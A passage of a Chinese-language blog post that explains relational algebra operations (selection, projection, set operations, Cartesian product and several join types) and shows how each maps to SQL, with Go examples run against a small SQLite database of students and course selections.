Algebra）是在集合代数基础上发展起来的，其数据的操作可分为传统的集合运算和专门的关系运算两类。传统的集合运算包括并（Union）、差（Difference）、交（Intersection）和笛卡儿积（Cartesion Product），专门的关系运算包括选择（Select）、投影（Project）、连接（Join）和除（Division）。关系代数中五个基本的操作并（Union）、差（Difference）、笛卡儿积（Cartesion Product）、选择（Select）和投影（Project）组成了关系代数完备的操作集。\n关系代数中的一些操作（如选择、投影和重命名操作）被称为一元操作(unary operation)，因为它们只对一个关系进行操作。其他操作，如关系并、笛卡尔积和关系差，则是对一对关系进行操作，因此称为二元操作(binary operation)：\n到这里，我们知道了关系模型的概念定义以及基于关系的代数运算都有哪些。那么关系模型、代数运算与我们日常的关系数据库以及我们使用的SQL语句的对应关系是什么呢？接下来我们就逐一说明一下。\n3. 关系模型与关系数据库实现的对应关系 讲到这里，其实大家心里或多或少都有个数了，关系模型与关系数据库实现中概念的对应关系十分明显：\n关系型数据库中的表(table)对应关系模型中的关系(relation)； 关系型数据库中的表的记录行(row)对应关系模型中的元组(triple)； 关系型数据库中的表的列(column)对应关系模型中的属性(attribute)； 关系型数据库中的表的列数据类型(column type)对应关系模型中的属性的域(domain)。 当然关系型数据库与关系模型还有一些对应关系不是本文重点，比如：\n关系模型中的关系完整性约束（如实体完整性、参照完整性等）对应于关系数据库中的约束（如主键约束、外键约束等）。 关系模型中的范式理论（如第一范式、第二范式等）对应于关系数据库中的数据规范化过程。 我们下面要关注的一个最重要的对应就是关系模型中的关系代数运算对应于关系数据库中的查询操作，我们可以使用SQL语句来实现关系模型中的运算，这也是下面我们要重点说明的内容，通过了解SQL语句背后实现的关系代数运算的本质，将可以帮助我们更好地理解关系模型，对后续数据库设计以及数据操作的高效性都大有裨益。\n4. 关系代数与SQL的对应关系 终于来到最重要的内容了，其实就是通过SQL如何实现关系代数的操作，这也是作为应用开发人员最最关心的内容。\n4.1 预先定义的关系 为了便于后续的说明，这里我们预先定义一些关系(表)，它们将用在后续说明各个关系运算符的示例中，这些表见下图：\n这里包含一个学生表(Students)、一个课程清单表(Courses)以及两年年度的选课表：CourseSelection2022和CourseSelection2023(注：这里不讨论表设计的合理性)。\n文中使用sqlite做为数据库管理系统(DBMS)的代表，主要是为了简单，SQL标准的兼容性也不错。下面的Go代码用于创建上图中的表并插入样例数据：\n// relational-algebra-examples/create_database/main.go package main import ( \u0026quot;database/sql\u0026quot; \u0026quot;fmt\u0026quot; _ \u0026quot;modernc.org/sqlite\u0026quot; ) func createTable(db *sql.DB, sqlStmt string) error { stmt, err := db.Prepare(sqlStmt) if err != nil { fmt.Println(\u0026quot;prepare statement error:\u0026quot;, err) return err } _, err = stmt.Exec() if err != nil { fmt.Println(\u0026quot;exec prepared statement error:\u0026quot;, err) return err } return nil } func createTables(db *sql.DB) error { // 创建Students表 err := createTable(db, `CREATE TABLE IF NOT EXISTS Students ( Sno INTEGER PRIMARY KEY, Sname TEXT, Gender TEXT, Age INTEGER )`) if err != nil { fmt.Println(\u0026quot;create table Students error:\u0026quot;, err) return err } // 创建Courses表 err = createTable(db, `CREATE TABLE IF NOT EXISTS Courses ( Cno INTEGER PRIMARY KEY, Cname TEXT, Credit INTEGER )`) if err != nil { fmt.Println(\u0026quot;create table Courses error:\u0026quot;, err) return err } // 2022选课表 err = createTable(db, `CREATE TABLE CourseSelection2022 ( Sno INTEGER, Cno INTEGER, Score INTEGER, PRIMARY KEY (Sno, Cno), FOREIGN KEY (Sno) REFERENCES Students(Sno), FOREIGN KEY (Cno) REFERENCES Courses(Cno) )`) if err != nil { fmt.Println(\u0026quot;create table CourseSelection2022 error:\u0026quot;, err) return err } // 2023选课表 err = createTable(db, `CREATE TABLE CourseSelection2023 ( Sno INTEGER, Cno INTEGER, Score INTEGER, PRIMARY KEY (Sno, Cno), FOREIGN KEY (Sno) REFERENCES Students(Sno), FOREIGN KEY (Cno) REFERENCES Courses(Cno) )`) if err != nil { fmt.Println(\u0026quot;create table CourseSelection2023 error:\u0026quot;, err) return err } return nil } func checkErr(err error) { if err != nil { panic(err) } } func insertData(db *sql.DB) { // 向Students表插入数据 stmt, err := db.Prepare(\u0026quot;INSERT INTO Students VALUES (?, ?, ?, ?)\u0026quot;) checkErr(err) _, err = stmt.Exec(1001, \u0026quot;张三\u0026quot;, \u0026quot;M\u0026quot;, 20) checkErr(err) _, err = stmt.Exec(1002, \u0026quot;李四\u0026quot;, \u0026quot;F\u0026quot;, 18) checkErr(err) _, err = stmt.Exec(1003, \u0026quot;王五\u0026quot;, \u0026quot;M\u0026quot;, 19) checkErr(err) // 向Courses表插入数据 stmt, err = db.Prepare(\u0026quot;INSERT INTO Courses VALUES (?, ?, ?)\u0026quot;) checkErr(err) _, err = stmt.Exec(1, \u0026quot;数据库\u0026quot;, 4) checkErr(err) _, err = stmt.Exec(2, \u0026quot;数学\u0026quot;, 2) checkErr(err) _, err = stmt.Exec(3, \u0026quot;英语\u0026quot;, 3) checkErr(err) // 插入2022选课数据 stmt, _ = db.Prepare(\u0026quot;INSERT INTO CourseSelection2022 VALUES (?, ?, ?)\u0026quot;) _, err = stmt.Exec(1001, 1, 85) checkErr(err) _, err = stmt.Exec(1001, 2, 80) checkErr(err) _, err = stmt.Exec(1002, 1, 83) checkErr(err) _, err = stmt.Exec(1003, 1, 76) checkErr(err) // ... // 插入2023选课数据 stmt, _ = db.Prepare(\u0026quot;INSERT INTO CourseSelection2023 VALUES (?, ?, ?)\u0026quot;) stmt.Exec(1001, 3, 75) checkErr(err) stmt.Exec(1002, 2, 81) checkErr(err) stmt.Exec(1003, 3, 86) checkErr(err) } func main() { db, err := sql.Open(\u0026quot;sqlite\u0026quot;, \u0026quot;../test.db\u0026quot;) defer db.Close() if err != nil { fmt.Println(\u0026quot;open test.db error:\u0026quot;, err) return } err = createTables(db) if err != nil { fmt.Println(\u0026quot;create table error:\u0026quot;, err) return } insertData(db) } 这里我们使用了cznic大神实现并开源的modernc.org/sqlite，这是一个纯Go的sqlite3数据库driver。Go社区另一个广泛使用的sqlite3的driver库为go-sqlite3，只不过go-sqlite3是使用cgo对sqlite3 C库的封装。\n执行上面go代码，便可以建立一个名为test.db的sqlite数据库，我们通过sqlite官方的命令行工具(cli)也可以与该数据库文件交互(这里我们使用的是容器版cli)，比如：\n$docker pull nouchka/sqlite3 // cd到test.db文件路径下 $docker run -v {test.db文件所在目录的绝对路径}:/root/db -it nouchka/sqlite3 SQLite version 3.40.1 2022-12-28 14:03:47 Enter \u0026quot;.help\u0026quot; for usage hints. Connected to a transient in-memory database. Use \u0026quot;.open FILENAME\u0026quot; to reopen on a persistent database. sqlite\u0026gt; .open ./test.db sqlite\u0026gt; .databases main: /root/db/test.db r/w sqlite\u0026gt; .tables CourseSelection2022 Courses CourseSelection2023 Students sqlite\u0026gt; 接下来，我们就先从关系代数运算中最容易理解的一元运算符开始说起。\n4.2. 选择（Selection) “选择”是一元关系运算，它的运算符为σ，语义如下：\nR' = σ[p](R) = {t | t∈R ∩ p(t) = true } // 这里用[p]表示数学符号的下标 其中R为关系，t为元组，p是谓词(predicate)表达式的组合，可以由一个或多个谓词表达式构成。\n这个语义相对好理解一些：它对R的操作结果依然是关系R’，即一个新元组集合，这个元组集合中的元组来自R，但必须满足p(t) = true的条件。说直白一些，就是选择满足给定条件的元组。下面是一个“选择”操作的示意图：\n我们可以用下面最常见的SQL语句实现对单一关系(表)的选择运算：\nSELECT * FROM R WHERE p(t) = true; 对应Go示例的代码片段如下：\n// relational-algebra-examples/query/main.go func doSelection(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 where score \u0026gt;= 80\u0026quot;) // p(t)为score \u0026gt;= 80 var selections []CourseSelection for rows.Next() { var s CourseSelection rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Cno, \u0026amp;s.Score) selections = append(selections, s) } fmt.Println(selections) } 输出结果为：\n[{1001 1 85} {1001 2 80} {1002 1 83}] 4.3 投影（Projection） “投影”也是一元关系运算，它的运算符为∏，语义如下：\nR' = ∏[A1,A2,...,An](R) = {t[A1,A2,...,An]| t∈R } // 这里A1,A2,...,An表示从R中取出的列名 显然和“选择”通过谓词表达式选元组不同，“投影”选择一个关系中的指定列(A1,A2,…,An)，即选择需要的属性。下面是其运算过程的示意图：\n“投影”对应的SQL语句也是我们最熟悉的语句：\nSELECT A1, A2, ..., An FROM R; 对应Go示例的代码片段如下：\n// relational-algebra-examples/query/main.go func doProjection(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT Sno, Sname FROM Students\u0026quot;) // A1 = Sno, A2 = Sname var students []Student for rows.Next() { var s Student rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Sname) students = append(students, s) } fmt.Println(students) } 输出结果为：\n[{1001 张三 0} {1002 李四 0} {1003 王五 0}] 不过要注意的是：取消某些关系列后可能出现重复行，违反了关系的定义(关系是一个元组的集合)，因此必须检查并去除结果关系中重复的元组。\n4.4 运算符的组合（Composition） 关系运算的输入是关系，结果也是一个关系，因此我们可以将关系运算符组合成一个更复杂的关系运算符表达式来实现更复杂的运算。比如将上面的两个一元关系运算符组合在一起“先选元组，再选属性”：\nR' = ∏[A1,A2,...,An](σ[p](R)) 其运算过程如下图所示：\n上述运算符组合对应的SQL语句如下：\nSELECT A1, A2, ..., An FROM R where p(t) = true; 对应Go示例的代码片段如下：\n// relational-algebra-examples/query/main.go func doCompositionOperation(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT Sno, Sname FROM Students where age \u0026gt;= 20\u0026quot;) var students []Student for rows.Next() { var s Student rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Sname) students = append(students, s) } fmt.Println(students) } 输出结果为：\n[{1001 张三 0}] 无论是选择运算还是投影运算，亦或是组合之后的运算，理解起来都相对容易，因为只涉及一个“关系”。接下来我们就看一下涉及两个关系的二元运算符，我们先来看看集合运算。\n4.5 关系交（Intersection） 如果没有记错，我们是在高中学习的集合代数。那时定义两个集合的交集运算是这样的：\n对于集合A和B，其交运算(Intersction)为： A ∩ B = { x | x ∈ A且 x ∈ B} 用一个一维空间的数的集合的例子来说，就是当A = {1, 2, 3, 4, 5}，B = { 3, 5, 6, 9}时，A ∩ B = {3, 5}。我们通常用维恩图来示意集合运算：\n在关系模型中，元组是一维集合，关系是元组的集合，即是一个二维集合，那么基于关系的交运算就要有一个前提：那就是参与运算的两个关系的属性必须是兼容的。\n两个关系的属性兼容需满足以下条件：\n属性数量相同 两个关系中的属性数量必须相同。\n属性类型相同或可转换 两个关系中对应位置的属性类型必须相同或可以通过类型转换进行兼容。例如，一个关系中的属性类型是整数，而另一个关系中的属性类型是浮点数，这种情况下属性类型是兼容的，因为整数可以隐式转换为浮点数。\n属性名称可以不同 两个关系中对应位置的属性名称可以不同，只要它们的属性类型兼容即可。属性名称的不同不会影响属性兼容性。\n在关系模型中，两个关系的属性兼容性是判断两个关系是否可以进行某些操作(包括集合操作)的重要条件之一。\n回到集合运算，如果两个关系的属性不兼容，则这两个关系无法进行集合运算，比如Students表和Courses表的属性个数不同，如果对它们进行关系交运算，会导致报错：\nSELECT * FROM Students INTERSECT SELECT * FROM Courses; Parse error: SELECTs to the left and right of INTERSECT do not have the same number of result columns 介绍完集合运算的前提后，我们再来看关系交运算，其语义入下：\nR' = R1 ∩ R2 即两个关系R1和R2在属性兼容的前提下进行关系交运算的结果为返回两个关系中相同的元组。\n关系交运算对应的SQL语句如下：\nSELECT * FROM R1 INTERSECT SELECT * FROM R2; 对应Go示例的代码片段如下：\n// relational-algebra-examples/query/main.go func doIntersection(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 INTERSECT SELECT * FROM CourseSelection2023\u0026quot;) var selections []CourseSelection for rows.Next() { var s CourseSelection rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Cno, \u0026amp;s.Score) selections = append(selections, s) } fmt.Println(selections) } 由于CourseSelection2022和CourseSelection2023这两个关系没有相同元组，所以上述Go程序输出的结果为空。\n4.6 关系并（Union） 和关系交一样，两个关系进行关系并运算的前提也是属性兼容。关系并运算的语义如下：\nR' = R1 ∪ R2 即两个关系R1和R2在属性兼容的前提下进行关系并运算的结果为返回两个关系中的所有元组，但要去除重复元组。\n关系并对应的SQL语句如下：\nSELECT * FROM R1 UNION SELECT * FROM R2; 对应Go示例的代码片段如下：\n// relational-algebra-examples/query/main.go func doUnion(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 UNION SELECT * FROM CourseSelection2023\u0026quot;) var selections []CourseSelection for rows.Next() { var s CourseSelection rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Cno, \u0026amp;s.Score) selections = append(selections, s) } fmt.Println(selections) } CourseSelection2022和CourseSelection2023这两个关系没有重复元组，所有关系并运算后得到的结果关系中包含了这两个关系的全部元组，上述程序的输出结果为：\n[{1001 1 85} {1001 2 80} {1001 3 75} {1002 1 83} {1002 2 81} {1003 1 76} {1003 3 86}] 4.7 关系差（Difference） 在集合代数中，对于集合A和B，其差运算为：\nA - B = { x | x ∈ A且 x ∉ B} 即从A集合中排除掉B集合中的元素。\n在关系模型中，关系差运算即是从一个关系中排除另一个关系中的元组，其语义如下：\nR' = R1-R2={t|t∈R1 ∩ t∉R2} // t为关系中的元组 在SQL中，我们可以用NOT IN实现：\nSELECT * FROM R1 WHERE A1 NOT IN (SELECT A1 FROM R2 WHERE 条件) 下面是对应的Go语言代码片段：\n// relational-algebra-examples/query/main.go func doDifference(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 WHERE Cno NOT IN (SELECT Cno FROM CourseSelection2023)\u0026quot;) var selections []CourseSelection for rows.Next() { var s CourseSelection rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Cno, \u0026amp;s.Score) selections = append(selections, s) } fmt.Println(selections) } 这段示例的含义是选出CourseSelection2022的元组，但去掉Cno值在CourseSelection2023出现过的元组。下面是运行结果：\n[{1001 1 85} {1002 1 83} {1003 1 76}] 注意：关系差运算的前提也是两个关系的属性兼容。\n最后看看略复杂的二元运算符：笛卡尔积和连接。\n4.8 笛卡尔积(Cartesian-product) 在关系代数中，关系积，即笛卡尔积（Cartesian Product）这种运算(也被称为关系叉乘)用于取两个关系的所有可能的组合。它的数学语义可以描述为：给定关系R1和R2，它们的笛卡尔积结果是一个新的关系，其中的元组由R1中的每个元组与R2中的每个元组的组合构成。\n在SQL中，笛卡尔积可以通过使用CROSS JOIN关键字来实现：\nSELECT * FROM R1 CROSS JOIN R2; 也可以通过下面SQL语句来实现：\nSELECT R1.*, R1.* FROM R1, R2; 对应的Go代码片段如下：\n// relational-algebra-examples/query/main.go\n// StudentCourse结果 type StudentCourse struct { Sno int Sname string Gender string Age int Cno int Cname string Credit int } func doCartesianProduct(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM Students CROSS JOIN Courses\u0026quot;) // rows, _ := db.Query(\u0026quot;SELECT Students.*, Courses.* FROM Students, Courses\u0026quot;) var selections []StudentCourse for rows.Next() { var s StudentCourse rows.Scan(\u0026amp;s.Sno, \u0026amp;s.Sname, \u0026amp;s.Gender, \u0026amp;s.Age, \u0026amp;s.Cno, \u0026amp;s.Cname, \u0026amp;s.Credit) selections = append(selections, s) } fmt.Println(len(selections)) fmt.Println(selections) } 示例的运行结果如下：\n9 [{1001 张三 M 20 1 数据库 4} {1001 张三 M 20 2 数学 2} {1001 张三 M 20 3 英语 3} {1002 李四 F 18 1 数据库 4} {1002 李四 F 18 2 数学 2} {1002 李四 F 18 3 英语 3} {1003 王五 M 19 1 数据库 4} {1003 王五 M 19 2 数学 2} {1003 王五 M 19 3 英语 3}] 我们看到对Students和Courses两个关系(表)进行笛卡尔积运算后，结果包含了Students中的每个元组与Courses中的每个元组进行组合的结果(3×3=9个)。\n需要注意的是，由于笛卡尔积可能导致非常大的结果集，因此在实际使用中应谨慎使用，并且通常需要与其他运算符和条件结合使用，以限制结果的大小和提高查询效率。通常我们会用连接来达到这些目的。\n4.9 连接(Join) 连接(Join)运算(⋈)是从两个关系的笛卡儿积中选取属性间满足一定条件的元组形成一个新的关系，即将笛卡尔积和选择(selection)运算合并达到一个操作中。从这个角度来看，笛卡尔积可以视为一种无条件的连接。\n连接代数运算符是关系代数中很有用的关系代数运算符，也是日常经常使用的运算符，它有很多种不同的子类别，下面我们分别看看各种子类型的语义、SQL语句以及对应的Go代码示例。\n4.9.1 等值连接（Equijoin） 等值连接是通过比较两个关系(表)之间的属性值是否相等来进行连接的操作。连接条件使用等号（=）来比较属性值的相等性。\n我们直接看Go示例：\n// relational-algebra-examples/query/main.go func dumpOperationResult(operation string, rows *sql.Rows) { cols, _ := rows.Columns() w := tabwriter.NewWriter(os.Stdout, 0, 2, 1, ' ', 0) defer w.Flush() w.Write([]byte(strings.Join(cols, \u0026quot;\\t\u0026quot;))) w.Write([]byte(\u0026quot;\\n\u0026quot;)) row := make([][]byte, len(cols)) rowPtr := make([]any, len(cols)) for i := range row { rowPtr[i] = \u0026amp;row[i] } fmt.Printf(\u0026quot;\\n%s operation:\\n\u0026quot;, operation) for rows.Next() { rows.Scan(rowPtr...) w.Write(bytes.Join(row, []byte(\u0026quot;\\t\u0026quot;))) w.Write([]byte(\u0026quot;\\n\u0026quot;)) } } func doEquijoin(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 JOIN Students ON CourseSelection2022.Sno = Students.Sno\u0026quot;) dumpOperationResult(\u0026quot;Equijoin\u0026quot;, rows) } 这个示例使用等值连接将CourseSelection2022表和Students表连接起来，连接条件是CourseSelection2022.Sno = Students.Sno，即学生编号相等，返回的结果将包含CourseSelection2022和Students两个表中满足连接条件的元组。\n我们看看程序运行的输出结果：\nEquijoin operation: Sno Cno Score Sno Sname Gender Age 1001 1 85 1001 张三 M 20 1001 2 80 1001 张三 M 20 1002 1 83 1002 李四 F 18 1003 1 76 1003 王五 M 19 在这个结果中，我们看到一个“奇怪”的情况，那就是出现了两个Sno属性。在等值连接中，如果连接的两个表中存在相同名称的属性（例如这里两个表中都有名为”Sno”的属性），那么在连接结果中会出现两个相同名称的属性。\n这是因为等值连接会将两个表中具有相同连接条件的属性进行匹配，并将匹配成功的元组进行组合。由于两个表中都有名为”Sno”的属性，因此连接结果中会保留这两个属性，以显示连接操作前后的对应关系。\n为了区分来自不同表的相同属性名，通常在连接结果中会使用表别名或表名作为前缀，以区分它们的来源。这样可以确保结果中的属性名称是唯一的，避免歧义。 例如，如果在等值连接中连接了名为”CourseSelection2022″的表和名为”Students”的表，并且两个表中都有名为”Sno”的属性，那么连接结果中可能会出现类似于”CourseSelection2022.Sno”和”Students.Sno”的属性名称，以明确它们的来源。\n需要注意的是，数据库管理系统的具体实现和查询工具的设置可能会影响连接结果中属性的显示方式，但通常会采用类似的方式来区分相同属性名的来源。\n4.9.2 自然连接（Natural Join） 自然连接是基于两个表中具有相同属性名的属性进行连接的操作，重点在于它会自动匹配具有相同属性名的属性，并根据这些属性的相等性进行连接，而无需手工指定。\n我们来看自然连接的Go示例：\n// relational-algebra-examples/query/main.go func doNaturaljoin(db *sql.DB) { rows, _ := db.Query(\u0026quot;SELECT * FROM CourseSelection2022 NATURAL JOIN Students\u0026quot;) dumpOperationResult(\u0026quot;Naturaljoin\u0026quot;, rows) } 这个示例使用自然连接将CourseSelection2022表和Students表连接起来，自然连接会自动基于两个表中所有具有相同属性名的属性进行连接，返回的结果将包含CourseSelection2022和Students两个表中所有满足连接条件的元组，并自动消除重复属性，这是与等值连接的一个明显的区别。\n我们看看程序运行的输出结果：\nNaturaljoin operation: Sno Cno Score Sname Gender Age 1001 1 85 张三 M 20 1001 2 80 张三 M 20 1002 1 83 李四 F 18 1003 1 76 王五 M 19 如果两个表(比如R1和R2)有一个以上的属性名相同，比如2个(比如：A1和A2)，那就会自动针对这两个属性名(一起)在两个表中进行等值连接：只有R2.A1 = R1.A1且R2.A2 = R1.A2时，才将元组连接并放入结果关系中。\n4.9.3 θ连接（Theta Join） θ连接是一种通用的连接操作，它使用比等号更一般化的连接条件进行连接。连接条件可以使用除了等号之外的比较运算符（如大于、小于、不等于等）来比较两个表之间的属性。\n我们来看θ连接的Go示例：\n// relational-algebra-examples/query/main.go func doThetajoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM CourseSelection2022 JOIN Students ON CourseSelection2022.Sno \u0026gt; Students.Sno`) dumpOperationResult(\u0026quot;Thetajoin\u0026quot;, rows) } 这个示例使用Join将CourseSelection2022表和Students表连接起来，连接条件是CourseSelection2022.Sno \u0026gt; Students.Sno，即学生编号大于学生表中的学生编号，返回的结果将包含CourseSelection2022和`Students两个表中满足连接条件的元组。\nThetajoin operation: Sno Cno Score Sno Sname Gender Age 1002 1 83 1001 张三 M 20 1003 1 76 1001 张三 M 20 1003 1 76 1002 李四 F 18 这个结果的生成过程大致如下：\n先看CourseSelection2022表的第一个元组，其Sno为1001，该Sno不大于Students表中的任一个Sno； 再看CourseSelection2022表的第二个元组，其Sno为1002，该Sno仅大于Students表中的Sno为1001的那一个元组，于是将CourseSelection2022表的第二个元组和Students表中第一个元组连接起来作为结果表中的第一个元组； 最后看CourseSelection2022表的第三个元组，其Sno为1003，该Sno大于Students表中的Sno为1001和1002的元组，于是将CourseSelection2022表的第三个元组分别和Students表中第一个和第二个元组连接起来作为结果表中的第二个和第三个元组。 4.9.4 半连接（Semi Join） 半连接是一种特殊的连接操作，它返回满足连接条件的左侧关系中的元组，并且只返回右侧关系中与之匹配的属性。半连接通常用于判断两个关系中是否存在匹配的元组，而不需要返回右侧关系的详细信息。\n我们来看半连接的Go示例：\n// relational-algebra-examples/query/main.go func doSemijoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM Students WHERE EXISTS ( SELECT * FROM CourseSelection2022 WHERE Students.Sno = CourseSelection2022.Sno )`) dumpOperationResult(\u0026quot;Semijoin\u0026quot;, rows) } 这个示例使用半连接操作，以Students表为左侧关系，CourseSelection2022表为右侧关系。它使用子查询来判断左侧关系中是否存在满足连接条件的元组，即Students.Sno = CourseSelection2022.Sno。它返回的结果将只包含满足连接条件的Students表中的元组。\n下面是程序输出的结果：\nSemijoin operation: Sno Sname Gender Age 1001 张三 M 20 1002 李四 F 18 1003 王五 M 19 半连接返回的结果关系中只包含左关系中的行，其中每一行只返回一次，即使在右关系中有多个匹配项。\n4.9.5 反连接（Anti Join） 反连接是半连接的补集操作，它返回左侧关系中不存在满足连接条件的元组。反连接通常用于查找在左侧关系中存在而在右侧关系中不存在的元组。\n我们来看反连接的Go示例：\n// relational-algebra-examples/query/main.go func doAntijoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM Students WHERE NOT EXISTS ( SELECT * FROM CourseSelection2022 WHERE Students.Sno = CourseSelection2022.Sno )`) dumpOperationResult(\u0026quot;Antijoin\u0026quot;, rows) } 这个示例使用反连接操作，以Students表为左侧关系，CourseSelection2022表为右侧关系，并使用NOT EXISTS子查询来判断左侧关系中不存在满足连接条件的元组，即Students.Sno = CourseSelection2022.Sno。返回的结果将只包含左侧关系Students表中不存在连接条件的元组。\nAntijoin operation: Sno Sname Gender Age 我们看到输出的元组集合为空。\n4.9.6 左(外)连接（Left Outer Join） 左外连接是将左侧关系中的所有元组与满足连接条件的右侧关系中的元组进行连接，并返回所有左侧关系的元组。如果右侧关系中没有与左侧关系匹配的元组，对应的属性值将为NULL。\n我们来看左(外)连接的Go示例：\n// relational-algebra-examples/query/main.go func doLeftjoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM Students LEFT JOIN CourseSelection2022 ON Students.Sno = CourseSelection2022.Sno`) dumpOperationResult(\u0026quot;Leftjoin\u0026quot;, rows) } 这个示例使用左外连接将Students表和CourseSelection2022表连接起来，其连接条件是Students.Sno = CourseSelection2022.Sno，即学生编号相等。示例的返回结果将包含Students表中的所有元组，并将满足连接条件的CourseSelection2022表中的元组加入结果中。如果没有匹配的元组，右侧关系中的属性值将为NULL。\n`\n下面是程序输出的结果：\nLeftjoin operation: Sno Sname Gender Age Sno Cno Score 1001 张三 M 20 1001 1 85 1001 张三 M 20 1001 2 80 1002 李四 F 18 1002 1 83 1003 王五 M 19 1003 1 76 4.9.7 右(外)连接（Right Outer Join） 右外连接是将右侧关系中的所有元组与满足连接条件的左侧关系中的元组进行连接，并返回所有右侧关系的元组。如果左侧关系中没有与右侧关系匹配的元组，对应的属性值将为NULL。\n我们来看右(外)连接的Go示例：\n// relational-algebra-examples/query/main.go func doRightjoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM Students RIGHT JOIN CourseSelection2022 ON Students.Sno = CourseSelection2022.Sno`) dumpOperationResult(\u0026quot;Rightjoin\u0026quot;, rows) } 这个示例使用右外连接将Students表和CourseSelection2022表连接起来，它的连接条件是Students.Sno = CourseSelection2022.Sno，即学生编号相等。返回的结果将包含CourseSelection2022表中的所有元组，并将满足连接条件的Students表中的元组加入结果中。如果没有匹配的元组，左侧关系中的属性值将为NULL。\n下面是程序输出的结果：\nRightjoin operation: Sno Sname Gender Age Sno Cno Score 1001 张三 M 20 1001 1 85 1001 张三 M 20 1001 2 80 1002 李四 F 18 1002 1 83 1003 王五 M 19 1003 1 76 4.9.8 全连接（Full Outer Join） 全连接是将左侧关系和右侧关系中的所有元组进行连接，并返回所有满足连接条件的元组。如果左侧关系或右侧关系中没有与对方匹配的元组，对应的属性值将为NULL。\n我们来看全连接的Go示例：\n// relational-algebra-examples/query/main.go func doFulljoin(db *sql.DB) { rows, _ := db.Query(`SELECT * FROM Students FULL JOIN CourseSelection2022 ON Students.Sno = CourseSelection2022.Sno`) dumpOperationResult(\u0026quot;Fulljoin\u0026quot;, rows) } 这个示例使用全连接将Students表和CourseSelection2022表连接起来，连接条件是Students.Sno = CourseSelection2022.Sno，即学生编号相等。示例返回的结果将包含Students表和CourseSelection2022表中的所有元组，并将满足连接条件的元组进行组合。如果没有匹配的元组，对应关系中的属性值将为NULL。\n下面是程序输出的结果：\nFulljoin operation: Sno Sname Gender Age Sno Cno Score 1001 张三 M 20 1001 1 85 1001 张三 M 20 1001 2 80 1002 李四 F 18 1002 1 83 1003 王五 M 19 1003 1 76 以上就是本文要介绍的连接类型，这些连接类型提供了在关系数据库中操作和组合表数据的灵活性，可以根据特定的需求选择合适的连接方式来获取所需的结果。\n5. 小结 本文系统地介绍和讲解了关系数据库中的关系代数运算，包括选择、投影、连接、交、并、积等，以及关系代数的SQL实现，并给出了Go语言示例。\n关系模型是关系数据库的理论基础，关系代数通过对关系的运算来表达查询，因此关系代数也构成了SQL查询语言的理论基础。理解关系代数与SQL的对应关系，可以更好地使用SQL语言操作关系型数据库。\n本文算是关系数据库的入门文章，既能让数据库初学者快速掌握关系代数，也能让有基础的读者回顾并深入理解概念内涵。通过阅读学习，能帮助读者把关系代数运用到实际数据库应用中，解决查询优化等问题。\n本文涉及的源码可以在这里下载。\n注：由于环境所限，本文所有示例均是在sqlite3上进行的。\n6. 参考资料 《Database System Concepts》 – https://book.douban.com/subject/30345517/ 《openGauss数据库核心技术》 – https://book.douban.com/subject/35137626/ 《云原生数据库：原理与实践》 – https://book.douban.com/subject/35631506/ 《数据库查询优化器的艺术》 – https://book.douban.com/subject/25815707/ Introduction of Relational Algebra in DBMS – https://www.geeksforgeeks.org/introduction-of-relational-algebra-in-dbms/ 15 SQLite3 SQL Commands Explained with Examples – https://www.thegeekstuff.com/2012/09/sqlite-command-examples/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/relational-algebra-and-sql-with-go-examples-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples\"\u003ehttps://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近些年，数据库领域发展日新月异，除传统的关系型数据库外，还出现了许多新型的数据库，比如：以HBase、Cassandra、MongoDB为代表的NoSQL数据库，以InfluxDB、TDEngine为代表的\u003ca 